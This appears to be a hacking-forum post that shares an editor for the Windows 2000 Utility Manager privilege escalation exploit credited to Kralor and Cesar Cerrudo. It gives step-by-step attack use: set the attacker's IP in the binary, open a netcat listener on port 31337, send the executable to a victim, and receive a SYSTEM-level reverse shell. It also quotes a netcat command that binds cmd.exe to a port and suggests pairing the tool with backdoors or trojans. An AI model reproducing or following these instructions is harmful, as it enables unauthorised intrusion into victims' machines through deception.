* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
** It gets system language and sets windows names to work on any win2k :P **
** Feel free to add other languages :) **
** v2.666: added autonomous (allinone) remote exploitation system;) **
** It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
** normal user account). Must be called with an argument (any argument) **
** You know where we are.. **

compiles smaller if you dont put the debug info in

48kb.. fsg'd its only 18kb

so heres the smaller one with the source code

of course im a even bigger idiot wondering why im compiling code for a program that needs to be edited before its compiled... what the code does is connect back to you once executed.. so you would need to edit the source to have it connect back to you ip and port

well i was bored and figured ill just make an editor for the binary instead
so now you can edit the ip in the binary without having to worry about compiling the code
the only thing is i was lazy and didnt allow you to edit the port

so here ya go

CODE

Util Manager Sploit Editor 1.0
by: illwill
Exploit Code by: Kralor & Cesar Cerrudo

Basically up open editor and put in your ip/dns addy
Save it
Open up a listening Netcat connection on port 31337
( i.e. C:\>nc -L -v -p 31337 )

send the edited Exe to your victim and wait for the shell to connect back to you
If all goes well you should have a CmdShell with system privledges waiting for you
If they are patched youll still have a shell connectback but your privledges
will be in the context of the user who executed the file

if the victim is stupid enough to execute what you send him
it's can work with any kind of backdoor or trojan
